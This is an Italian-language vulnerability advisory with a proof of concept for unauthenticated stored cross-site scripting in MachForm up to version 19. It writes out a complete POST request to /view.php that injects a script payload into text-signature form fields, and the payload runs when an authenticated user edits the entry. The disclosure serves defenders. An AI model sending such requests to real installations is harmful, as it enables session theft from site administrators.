
Proof-of-concept per XSS memorizzato non autenticato in MachForm v19, che consente l'iniezione di JavaScript tramite parametri di firma testuale nei sottomessi dei moduli.
MachForm fino alla versione 19 è affetto da una vulnerabilità di cross‑site scripting memorizzata non autenticata che colpisce gli utenti con sessioni valide che possono visualizzare i risultati dei moduli compilati.
Nell'applicazione web target, quando si utilizza un modulo con firma testuale abilitata, la richiesta inviata alla risorsa vulnerabile è risultata soggetta ad attacco XSS. Un parametro del corpo della richiesta POST all'interno dell'URL vulnerabile manca di sanificazione, consentendo di inserire un payload malevolo e attivare codice JavaScript nel browser della vittima.
I parametri vulnerabili sono dinamici e dipendono dalla posizione del componente firma testuale nel modulo:
element_{element_number}_text_signatureelement_{element_number}È possibile iniettare un payload JavaScript nei parametri vulnerabili.

Richiesta:
POST /view.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://application-baseurl/
Content-Type: multipart/form-data; boundary=---------------------------6026266881719614557329755478
Content-Length: 1141
Origin: https://application-baseurl
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_1"
test5
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_4_text_signature"
"><script>alert(1)</script>
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_4"
"><script>alert(1)</script>
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_12"; filename=""
Content-Type: application/octet-stream
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_12_token"
3cc3be6c0c28b67f1c55eb23786b2869
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="form_id"
59032
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="submit_form"
1
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="page_number"
1
-----------------------------6026266881719614557329755478--
Il payload viene quindi attivato quando un utente autenticato modifica la voce del risultato del modulo.

